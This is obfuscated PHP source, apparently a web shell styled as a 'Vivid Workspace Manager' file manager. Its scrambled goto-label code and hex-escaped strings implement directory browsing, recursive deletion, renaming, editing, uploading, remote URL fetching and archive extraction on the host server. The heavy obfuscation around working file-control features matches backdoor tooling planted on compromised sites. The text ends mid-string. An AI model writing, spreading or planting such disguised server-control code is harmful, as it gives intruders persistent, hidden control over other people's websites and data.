goto TE_ig; JYICJ: return false; goto grLG0; U4Kq2: if (!($Ei6vG == "\56" || $Ei6vG == "\x2e\x2e")) { goto i0shn; } goto u_a41; DfVHb: if (AIqPU($dKtL0 . "\57" . $Ei6vG)) { goto VTgyb; } goto JYICJ; Wy0vp: i0shn: goto DfVHb; GSXPG: } goto Tbnu6; bOeJ4: if (file_exists($dKtL0)) { goto vuAKQ; } goto cjbcU; lslRh: return unlink($dKtL0); goto FlyTq; FlyTq: OH2yM: goto YEf3F; YI_0v: vuAKQ: goto dqPvG; dqPvG: if (is_dir($dKtL0)) { goto OH2yM; } goto lslRh; Tbnu6: VJzh3: goto krihY; krihY: return rmdir($dKtL0); goto oTaSd; cjbcU: return true; goto YI_0v; oTaSd: } goto npAQS; KxLIM: TGOcS: goto g9sUN; wDVmV: echo htmlspecialchars($_SESSION["\143\x73\x72\x66\137\x74\157\153\x65\156"]); goto RkyCs; I6oBt: function AvBxS($fQKS1) { goto zkBzL; hE0mC: return number_format($fQKS1 / 1073741824, 2) . "\40\107\102"; goto UIHRn; t49pK: qqAk6: goto AHK69; UIHRn: fLflo: goto vCzP8; AHK69: return $fQKS1 . "\40\x62\x79\x74\x65\x73"; goto DXd5s; zkBzL: if (!($fQKS1 >= 1073741824)) { goto fLflo; } goto hE0mC; Sap5F: return number_format($fQKS1 / 1024, 2) . "\40\x4b\102"; goto t49pK; B9gnc: if (!($fQKS1 >= 1024)) { goto qqAk6; } goto Sap5F; vCzP8: if (!($fQKS1 >= 1048576)) { goto xrOPx; } goto gpwA8; gpwA8: return number_format($fQKS1 / 1048576, 2) . "\40\115\x42"; goto fjnfC; fjnfC: xrOPx: goto B9gnc; DXd5s: } goto GOdpt; ExL01: foreach ($v7WxV as $Ei6vG) { goto IRhpu; WrC05: ePw0s: goto lTI2n; HJO_4: a1puK: goto Tpr2T; GRpY2: $RKVRy[] = $Ei6vG; goto LR_0i; FAKVe: goto BB1jS; goto z6h7o; XDEUF: goto ePw0s; goto HJO_4; LR_0i: BB1jS: goto WrC05; cXVBQ: $M1ewI[] = $Ei6vG; goto FAKVe; z6h7o: qj_59: goto GRpY2; Tpr2T: $xAY2y = $UyGf4 . "\x2f" . $Ei6vG; goto n754H; n754H: if (is_dir($xAY2y)) { goto qj_59; } goto cXVBQ; IRhpu: if (!($Ei6vG === "\x2e" || $Ei6vG === "\56\x2e")) { goto a1puK; } goto XDEUF; lTI2n: } goto KxLIM; Jhmnc: if (rename($Cc3_N, $N1y8k)) { goto Sv1yi; } goto AoLSc; lhRVK: foreach ($RKVRy as $pbEsz) { goto DrSWy; Mk0DM: echo htmlspecialchars($pbEsz); goto suB9R; qJH3K: echo is_writable($UyGf4 . "\57" . $pbEsz) ? "\131\x65\163" : "\x4e\x6f"; goto Xp9c9; suB9R: echo "\47\x29\x22\x20\x63\x6c\141\x73\163\75\42\x62\x67\55\x72\145\144\x2d\65\60\60\40\164\x65\x78\x74\x2d\167\150\151\164\x65\x20\x70\170\55\63\40\160\x79\55\61\40\162\157\165\x6e\x64\x65\144\x2d\154\x67\x20\x68\157\x76\x65\162\72\142\147\55\x72\145\144\x2d\x36\60\60\x20\166\x69\166\151\144\x2d\x74\162\x61\x6e\163\x69\x74\x69\x6f\156\x22\76\104\145\x6c\x65\164\145\x3c\57\x62\x75\164\164\157\156\76\15\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\57\164\x64\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x3c\x2f\x74\162\x3e\15\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20"; goto Zsxs3; XoWB3: echo htmlspecialchars($pbEsz); goto WPqgH; Zsxs3: Ncchf: goto BrSWK; xrN3w: echo urlencode($UyGf4 . "\57" . $pbEsz); goto sfYvD; Xp9c9: echo "\x3c\57\164\144\76\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\74\164\144\40\x63\154\141\163\x73\75\x22\x70\55\64\x22\76"; goto hqXAb; qvI6f: echo "\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\164\144\x20\143\154\141\163\x73\75\x22\160\55\64\x20\163\x70\x61\143\145\x2d\170\55\x33\x22\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\40\157\156\143\x6c\x69\143\153\75\x22\157\x70\145\156\122\x65\x6e\141\155\145\x44\x69\141\154\x6f\x67\x28\47"; goto XoWB3; WPqgH: echo "\47\x29\42\40\143\x6c\x61\163\x73\x3d\x22\142\147\55\x79\145\x6c\154\x6f\x77\x2d\65\60\60\x20\164\x65\x78\164\x2d\167\x68\x69\x74\x65\40\160\170\x2d\x33\x20\160\x79\55\61\x20\162\x6f\165\x6e\144\145\144\55\x6c\147\x20\x68\157\x76\x65\162\72\142\147\x2d\x79\145\154\154\x6f\167\x2d\x36\x30\x30\x20\x76\151\166\x69\144\x2d\164\x72\x61\x6e\x73\151\164\x69\157\x6e\x22\x3e\122\145\156\141\155\145\x3c\57\x62\165\164\x74\157\x6e\76\15\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x3c\x62\x75\164\164\157\x6e\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x63\157\156\x66\151\162\155\104\145\x6c\x65\164\x65\x28\x27"; goto Mk0DM; sfYvD: echo "\42\40\x63\x6c\x61\163\163\x3d\42\164\145\x78\x74\x2d\166\x69\166\151\x64\x2d\x74\145\141\x6c\x20\150\157\166\145\x72\x3a\165\156\144\145\x72\154\151\156\x65\x22\76"; goto qA5YY; DrSWy: echo "\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x3c\164\x72\40\x63\154\141\163\x73\x3d\x22\x62\x6f\162\144\145\x72\55\164\40\x68\157\166\x65\x72\72\142\147\x2d\x67\x72\x61\x79\55\x35\x30\40\166\x69\166\151\x64\55\164\x72\x61\x6e\163\151\164\x69\157\156\42\76\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\164\144\x20\x63\154\x61\163\163\75\42\x70\55\x34\x22\x3e\x3c\151\x20\x63\154\x61\163\163\75\42\x66\x61\163\x20\x66\141\x2d\x66\157\154\144\145\x72\x20\155\162\x2d\62\x20\164\x65\x78\164\55\166\151\x76\151\144\55\x74\145\x61\x6c\x22\76\74\x2f\151\x3e\74\x61\x20\x68\162\x65\x66\75\42\x3f\167\x6f\162\153\x73\x70\x61\143\145\75"; goto xrN3w; LV4k_: echo "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\15\xa\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\55\x34\x22\76\106\157\154\144\145\x72\x3c\57\164\x64\76\xd\12\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\164\144\40\143\154\141\x73\x73\x3d\42\160\x2d\x34\x22\x3e\x2d\x3c\x2f\164\x64\x3e\15\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x70\55\x34\x22\x3e"; goto qJH3K; qA5YY: echo htmlspecialchars($pbEsz); goto LV4k_; hqXAb: echo date("\x59\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $pbEsz)); goto qvI6f; BrSWK: } goto HrspV; V83w2: echo htmlspecialchars($_SESSION["\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"]); goto OZfTN; B39ub: if (mkdir($isu4D, 0755)) { goto JKhRB; } goto zjQfB; scU2Z: v029G: goto ugX0X; nAVlY: fSqKS: goto joBYM; Conu0: goto SIh_6; goto EMeQw; ZGMPl: $f5xwD = realpath($_GET["\167\x6f\162\153\x73\x70\141\143\145"] . "\57" . $_GET["\151\164\x65\x6d"]); goto pIIY_; zjQfB: $DKH4N = "\x46\x61\x69\154\145\144\40\x74\x6f\40\143\x72\145\x61\x74\145\x20\146\157\x6c\x64\x65\162\x2e"; goto rAymK; Ucrww: $HcnX3->close(); goto LXZOP; MKafv: echo "\x22\x3e\15\12\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\42\x66\x69\154\145\42\x20\x6e\141\x6d\145\x3d\x22\x75\160\154\x6f\141\144\x65\x64\137\151\164\x65\x6d\x22\40\x63\x6c\141\163\163\x3d\42\x66\x6c\145\x78\x2d\61\x20\160\55\63\x20\142\x6f\x72\144\145\x72\x20\x72\x6f\165\156\144\145\x64\x2d\x6c\147\x22\40\x72\145\x71\x75\151\x72\x65\144\76\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\74\142\x75\x74\164\157\x6e\40\x74\x79\160\145\75\42\x73\x75\142\x6d\x69\164\x22\40\x63\154\141\163\x73\x3d\42\x62\x67\55\x76\151\x76\151\144\x2d\x74\145\141\x6c\40\x74\x65\170\x74\x2d\167\150\x69\x74\145\x20\x70\x2d\x33\x20\x72\x6f\x75\x6e\144\x65\144\55\154\147\x20\150\157\166\145\162\72\x62\x67\x2d\166\x69\166\151\144\55\x74\145\141\154\x2d\x64\x61\x72\x6b\x20\x76\x69\166\151\x64\x2d\x74\162\141\x6e\x73\151\x74\x69\x6f\x6e\x22\76\125\160\154\x6f\141\144\74\x2f\x62\165\x74\x74\157\156\x3e\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\x66\157\x72\x6d\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\76\15\xa\15\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x3c\41\x2d\55\40\x46\x65\x74\x63\x68\40\x52\x65\155\x6f\x74\145\40\111\x74\145\x6d\40\55\55\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20"; goto I43Nl; YNA75: if (!(isset($_POST["\x6d\x6f\x64\x69\x66\171\137\146\151\x6c\145"]) && !empty($_POST["\x69\x74\x65\155\137\156\x61\x6d\145"]))) { goto yHBos; } goto i0Qo7; cfqQy: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto xAZme; MELp7: $HcnX3->close(); goto U2HJ2; r8J0S: TNzCi: goto TaXVZ; sskkE: echo "\x22\x20\x63\154\x61\163\x73\75\42\x74\145\170\x74\55\166\x69\x76\151\x64\55\164\145\x61\154\40\150\x6f\x76\x65\162\72\x75\x6e\144\x65\162\154\x69\x6e\x65\x22\x3e\x2e\56\40\x28\120\141\162\145\x6e\164\x20\x57\157\162\153\x73\x70\x61\x63\145\x29\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\74\164\x64\x20\143\154\141\x73\x73\x3d\x22\160\x2d\64\x22\76\x2d\74\x2f\164\x64\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\164\144\x20\143\x6c\x61\x73\163\x3d\x22\160\x2d\64\42\x3e\55\x3c\x2f\x74\144\x3e\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x70\x2d\x34\x22\x3e\x2d\74\57\x74\144\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\74\164\144\x20\143\154\141\163\x73\x3d\x22\160\x2d\x34\x22\x3e\55\74\57\x74\144\x3e\15\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\42\160\x2d\x34\x22\x3e\74\57\x74\x64\x3e\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\162\76\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20"; goto Zrf0Y; mU9_h: s77P6: goto HJ2Jy; npAQS: echo "\xd\xa\x3c\x21\104\x4f\103\x54\131\x50\105\40\x68\x74\x6d\154\x3e\15\12\x3c\150\x74\155\154\x20\154\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\12\74\x68\145\141\x64\x3e\xd\12\x20\x20\x20\x20\74\x6d\x65\164\141\40\x63\x68\141\x72\x73\145\x74\75\x22\125\x54\106\x2d\70\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\145\164\x61\x20\156\x61\155\145\x3d\x22\166\151\145\167\160\157\x72\x74\42\x20\143\157\156\164\x65\x6e\164\75\x22\x77\151\x64\x74\x68\75\x64\145\x76\x69\x63\x65\55\x77\151\144\x74\x68\x2c\40\151\x6e\151\x74\x69\141\x6c\x2d\x73\x63\x61\x6c\x65\75\x31\56\x30\x22\x3e\15\xa\x20\40\40\40\x3c\x74\x69\x74\154\145\76\x56\x69\166\151\x64\x20\x57\157\162\153\x73\160\x61\143\x65\40\115\x61\156\141\147\x65\x72\x3c\57\164\x69\164\x6c\145\76\15\12\40\40\40\40\x3c\163\143\x72\x69\160\x74\x20\163\x72\143\x3d\42\x68\164\x74\x70\163\72\x2f\x2f\x63\144\156\x2e\164\141\x69\154\x77\x69\x6e\144\x63\163\x73\x2e\143\157\x6d\42\x3e\x3c\57\163\x63\162\x69\160\x74\76\15\12\40\40\40\40\x3c\163\143\x72\151\160\164\x20\x73\x72\x63\x3d\x22\150\164\x74\160\x73\x3a\x2f\x2f\x6b\151\164\56\x66\x6f\x6e\x74\x61\x77\145\x73\157\x6d\145\56\143\x6f\155\57\x61\x30\x37\x36\144\x30\65\x33\71\71\56\x6a\163\42\40\143\x72\157\163\x73\x6f\x72\x69\x67\x69\156\75\x22\x61\156\x6f\156\171\155\157\165\x73\x22\76\74\57\x73\143\x72\151\x70\164\x3e\xd\xa\x20\40\40\40\x3c\163\x74\x79\154\x65\x3e\15\12\x20\40\x20\40\x20\40\40\40\x2e\142\x67\x2d\x76\x69\x76\x69\144\55\x73\x6c\141\164\x65\x20\x7b\x20\x62\x61\x63\153\x67\x72\157\x75\156\x64\x2d\143\157\x6c\x6f\x72\72\40\43\x65\x32\x65\x38\x66\60\x3b\x20\x7d\xd\12\x20\x20\x20\40\40\x20\40\40\56\x62\x67\55\166\x69\166\x69\144\55\164\145\x61\154\40\173\x20\x62\141\x63\x6b\147\162\157\165\x6e\x64\55\x63\x6f\154\157\162\72\40\x23\61\x34\142\x38\x61\66\x3b\40\x7d\xd\xa\x20\40\x20\40\40\x20\x20\x20\56\142\x67\55\166\151\x76\151\x64\55\x74\145\x61\154\x2d\144\141\x72\153\40\x7b\40\x62\141\143\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\162\72\x20\43\60\146\67\x36\x36\x65\73\40\175\xd\12\40\40\x20\40\x20\40\40\x20\x2e\164\145\x78\164\55\166\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\x6c\40\x7b\x20\x63\157\154\x6f\x72\x3a\40\x23\x31\61\x31\70\x32\x37\x3b\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\x20\x2e\166\151\166\x69\x64\55\x74\162\141\x6e\163\x69\164\151\157\x6e\40\x7b\x20\164\162\141\x6e\163\151\x74\151\157\x6e\72\40\x61\154\154\40\60\x2e\63\163\40\x65\141\x73\145\x2d\x69\156\x2d\157\x75\x74\73\x20\175\15\xa\40\40\x20\40\x20\x20\40\40\x2e\x76\151\x76\x69\x64\55\x68\x6f\x76\x65\162\40\x7b\40\x74\x72\x61\x6e\x73\151\x74\151\x6f\x6e\x3a\x20\164\162\x61\x6e\x73\x66\157\x72\x6d\40\60\x2e\x32\x73\54\x20\142\157\x78\x2d\163\x68\141\144\157\167\x20\60\56\x32\x73\73\40\175\15\xa\40\40\x20\40\x20\40\40\40\x2e\166\x69\x76\x69\144\55\150\157\x76\145\x72\x3a\x68\157\166\145\162\40\x7b\x20\164\162\x61\156\163\146\157\162\155\x3a\x20\x74\162\x61\156\163\154\141\x74\x65\x59\x28\55\62\x70\x78\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\x20\64\160\170\40\x36\160\x78\40\162\147\x62\141\50\x30\x2c\x20\x30\x2c\40\x30\54\x20\x30\56\61\51\x3b\40\x7d\xd\xa\40\40\x20\40\x20\x20\40\40\56\x73\x74\151\x63\x6b\171\55\x68\x65\141\x64\x65\162\40\164\x68\x20\x7b\40\160\x6f\x73\151\164\x69\157\x6e\72\x20\x73\164\x69\143\x6b\x79\x3b\x20\164\157\160\72\40\x30\x3b\40\142\x61\x63\153\147\162\x6f\165\x6e\144\x3a\x20\43\x66\x33\x66\x34\x66\x36\x3b\40\172\55\x69\156\x64\x65\170\x3a\40\x31\x30\73\x20\x7d\xd\xa\40\40\x20\x20\x3c\57\x73\164\171\x6c\x65\76\15\xa\x3c\x2f\x68\145\x61\x64\76\15\xa\x3c\x62\157\144\x79\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\147\55\x76\151\x76\x69\x64\55\163\x6c\x61\164\145\x20\155\151\x6e\x2d\150\55\x73\x63\162\145\145\156\42\76\xd\12\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\156\164\141\151\x6e\x65\x72\x20\155\170\55\141\165\164\x6f\x20\160\55\x36\x22\x3e\xd\xa\40\x20\40\40\x20\x20\40\x20\74\150\x31\x20\143\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x34\170\154\x20\146\157\156\164\55\x62\157\x6c\x64\40\155\142\x2d\x38\x20\x74\x65\170\164\55\x76\x69\x76\151\x64\x2d\x63\x68\x61\x72\143\157\141\154\42\x3e\126\151\166\151\144\40\127\157\x72\153\x73\x70\141\x63\x65\40\115\141\x6e\141\x67\x65\x72\74\57\x68\61\76\xd\12\xd\12\x20\x20\x20\x20\x20\40\x20\x20\74\x21\55\55\x20\x50\x61\x74\x68\x20\x43\x72\165\x6d\x62\x73\x20\x2d\x2d\x3e\15\12\40\40\40\x20\x20\40\40\x20\x3c\156\x61\166\40\x63\154\x61\x73\163\x3d\42\x6d\x62\x2d\66\40\x74\145\170\164\x2d\x6c\x67\40\x66\x6c\x65\170\x20\151\164\145\155\163\55\x63\145\x6e\x74\x65\x72\x22\x3e"; goto pT5Cn; mGJZ_: echo htmlspecialchars($DKH4N); goto OEbq_; xNlQn: KXaXc: goto fP2_W; Bdm1a: $Vjqae = strtolower(pathinfo($XSEgQ, PATHINFO_EXTENSION)); goto yH4Cb; OPJ29: $DKH4N = "\106\141\x69\154\145\x64\x20\164\x6f\x20\x63\x72\145\141\x74\145\40\146\151\x6c\145\x2e"; goto GpF7q; FZOWP: goto wU4e6; goto R7O4_; rAymK: goto QuW09; goto P9s45; MYnzS: if (!($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x4d\105\x54\x48\117\104"] === "\x50\117\x53\x54" && isset($_POST["\143\163\x72\x66\x5f\x74\157\153\145\x6e"]) && $_POST["\143\x73\162\x66\x5f\164\157\x6b\x65\156"] === $_SESSION["\143\x73\x72\146\x5f\x74\157\153\x65\156"])) { goto T0tH9; } goto X174h; AeSrz: $AUqcU = @file_get_contents($MhPPM); goto H5acy; efl0n: echo "\42\x3e\xd\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\74\x69\156\x70\165\164\x20\x74\x79\160\145\75\42\150\x69\x64\x64\145\x6e\42\x20\151\144\75\x22\x65\144\151\x74\x49\x74\x65\x6d\116\141\155\x65\42\40\x6e\141\x6d\x65\75\42\x69\164\145\x6d\137\x6e\x61\x6d\x65\x22\76\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x3c\164\145\x78\x74\x61\162\x65\141\x20\151\x64\x3d\x22\145\x64\151\164\111\x74\145\x6d\103\157\156\x74\x65\x6e\x74\42\40\x6e\x61\155\145\75\x22\x69\x74\145\155\x5f\143\x6f\156\x74\x65\x6e\x74\42\40\x63\154\x61\163\163\x3d\x22\x77\55\x66\x75\x6c\154\x20\x68\x2d\70\x30\40\x70\x2d\x33\x20\x62\157\162\144\145\x72\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\x6c\147\x20\x6d\x62\x2d\x36\x20\146\157\x63\x75\x73\x3a\x6f\165\x74\154\151\156\145\55\x6e\x6f\x6e\x65\40\146\157\x63\x75\x73\x3a\x72\151\156\x67\x2d\62\x20\x66\157\143\165\163\72\162\x69\x6e\147\x2d\x76\x69\x76\151\144\x2d\x74\145\141\x6c\42\76\x3c\x2f\x74\x65\170\164\141\x72\145\141\x3e\xd\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\42\146\x6c\x65\170\40\152\x75\163\x74\151\146\x79\x2d\145\156\x64\x20\x73\x70\141\143\145\55\x78\55\63\42\x3e\15\12\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\x62\165\x74\164\157\x6e\40\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\x6e\x61\155\145\75\x22\155\x6f\x64\x69\146\x79\x5f\x66\151\x6c\x65\42\x20\143\154\141\163\x73\x3d\42\x62\x67\55\x67\x72\145\x65\x6e\x2d\65\x30\60\40\164\145\x78\164\x2d\167\150\151\x74\145\x20\160\x78\55\65\x20\160\171\x2d\62\x20\x72\157\x75\156\x64\x65\144\x2d\x6c\147\x20\150\x6f\x76\145\162\72\142\x67\55\147\x72\x65\x65\x6e\55\x36\60\60\x20\x76\x69\x76\151\144\55\x74\162\x61\x6e\x73\151\x74\151\x6f\x6e\42\x3e\123\141\166\x65\x3c\57\x62\165\x74\x74\x6f\x6e\76\xd\12\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x3c\142\165\164\164\157\156\40\x74\171\160\145\x3d\x22\x62\x75\164\x74\x6f\156\x22\x20\x6f\156\143\154\151\x63\x6b\75\42\x63\154\x6f\163\x65\x44\x69\x61\x6c\157\147\x28\47\x65\144\x69\x74\104\x69\x61\x6c\x6f\147\x27\51\x22\40\143\x6c\141\x73\x73\x3d\x22\x62\x67\55\x67\162\141\171\x2d\x35\x30\x30\40\x74\145\x78\164\55\x77\x68\x69\x74\x65\40\160\170\x2d\65\40\x70\171\x2d\62\40\162\157\x75\156\x64\x65\x64\x2d\154\x67\x20\150\157\166\x65\x72\x3a\x62\x67\x2d\147\162\141\x79\x2d\66\60\60\x20\x76\x69\166\x69\144\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\x22\76\103\x61\x6e\x63\x65\x6c\74\x2f\x62\165\164\x74\x6f\x6e\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x3c\57\144\151\x76\76\15\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\74\x2f\x66\157\x72\155\76\xd\12\x20\x20\40\40\x20\x20\x20\40\74\57\x64\x69\166\76\xd\xa\x20\x20\40\40\x3c\x2f\144\x69\x76\76\xd\12\xd\xa\40\40\x20\x20\x3c\x21\x2d\55\x20\x52\x65\x6e\x61\x6d\x65\x20\x44\151\141\154\157\147\40\55\x2d\x3e\xd\12\x20\40\40\x20\74\x64\x69\166\40\x69\x64\75\x22\x72\x65\x6e\141\155\145\104\151\x61\154\x6f\147\x22\40\x63\154\141\163\163\x3d\x22\x66\151\170\145\144\40\x69\156\x73\145\164\55\x30\40\142\x67\55\147\x72\141\171\55\x36\x30\x30\x20\x62\147\x2d\157\160\x61\143\151\x74\171\55\x35\60\x20\x68\x69\x64\144\145\156\40\x69\164\x65\155\x73\x2d\143\145\156\x74\x65\162\40\152\x75\x73\164\151\x66\x79\55\143\x65\x6e\164\x65\x72\40\x76\151\166\151\144\x2d\164\x72\x61\x6e\x73\x69\164\x69\157\x6e\42\x3e\15\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\142\x67\x2d\167\150\151\164\145\x20\160\x2d\x38\x20\x72\157\x75\156\x64\x65\144\55\170\154\40\x73\x68\x61\x64\x6f\x77\55\x78\154\40\167\55\x66\165\x6c\154\x20\x6d\x61\x78\55\167\55\155\144\40\x74\x72\x61\156\x73\146\x6f\162\x6d\x20\x73\x63\141\154\145\55\71\x35\40\166\151\x76\151\144\55\x74\x72\x61\x6e\163\151\x74\x69\157\156\42\x3e\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\74\x68\62\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\x2d\62\x78\154\x20\x66\157\x6e\x74\55\142\157\154\144\x20\155\x62\x2d\x36\x20\164\145\x78\164\55\166\151\166\x69\144\55\x63\x68\141\x72\x63\157\141\x6c\42\x3e\x52\145\x6e\141\155\145\40\x49\x74\145\155\x3c\57\x68\62\76\15\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x3c\x66\157\162\155\x20\151\x64\x3d\x22\x72\x65\156\141\x6d\x65\x46\x6f\162\155\x22\40\155\x65\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\76\15\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\x6e\141\155\x65\75\42\x63\163\162\146\137\x74\157\x6b\145\156\42\40\x76\x61\154\165\x65\x3d\x22"; goto qhhxa; LRz_K: $DKH4N = "\111\156\x76\x61\x6c\x69\x64\40\x72\x65\155\157\164\x65\x20\x55\122\x4c\56"; goto SRHNn; F7tPf: if (!$aBnyl) { goto bPia2; } goto o7tkz; TuFpl: $DKH4N = "\101\162\143\150\151\x76\145\x20\x6e\157\x74\x20\146\157\165\x6e\x64\x20\157\x72\40\x5a\151\160\101\162\143\x68\151\x76\145\40\x6e\157\164\x20\141\166\141\x69\154\141\x62\154\145\x2e"; goto UdP8y; Kv3l1: if (unlink($xAY2y)) { goto PqdoF; } goto vNZlm; nxE40: T0tH9: goto lT00_; f8J_i: if (!file_exists($mROC6)) { goto dfEiu; } goto iPIq9; j5f23: $k0Bn2 = 10 * 1024 * 1024; goto CDKG1; o7tkz: if (!(!isset($_SESSION["\163\145\143\165\x72\145\137\163\x65\163\163\151\x6f\156"]) || $_SESSION["\x73\145\143\x75\162\x65\137\x73\145\x73\x73\151\157\x6e"] !== true)) { goto we6Y3; } goto KCWei; KsqrH: hViYW: goto qM33z; N3l0l: $_SESSION["\x73\x65\143\x75\x72\x65\137\x73\145\x73\x73\151\x6f\x6e"] = true; goto JENU1; I43Nl: if (!$st1pL) { goto OId96; } goto atiNZ; v4fkp: $N1y8k = $UyGf4 . "\57" . $Nu004; goto grGj9; K2rz_: echo "\42\x3e\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\74\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\150\151\x64\144\x65\156\42\x20\x6e\141\x6d\x65\75\42\x69\x74\x65\x6d\x5f\x6e\x61\x6d\145\42\x20\166\141\154\165\x65\x3d\42\44\173\151\164\x65\155\116\x61\x6d\145\x7d\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\x22\40\156\141\155\145\x3d\x22\x64\145\x6c\x65\164\145\137\151\164\145\155\x22\x20\x76\141\x6c\x75\145\75\42\61\x22\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x60\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x64\x6f\143\165\155\145\156\164\x2e\142\157\144\171\56\141\x70\160\145\x6e\x64\103\150\x69\154\x64\x28\146\157\x72\x6d\51\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\146\x6f\x72\155\x2e\x73\165\x62\155\x69\x74\50\51\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\x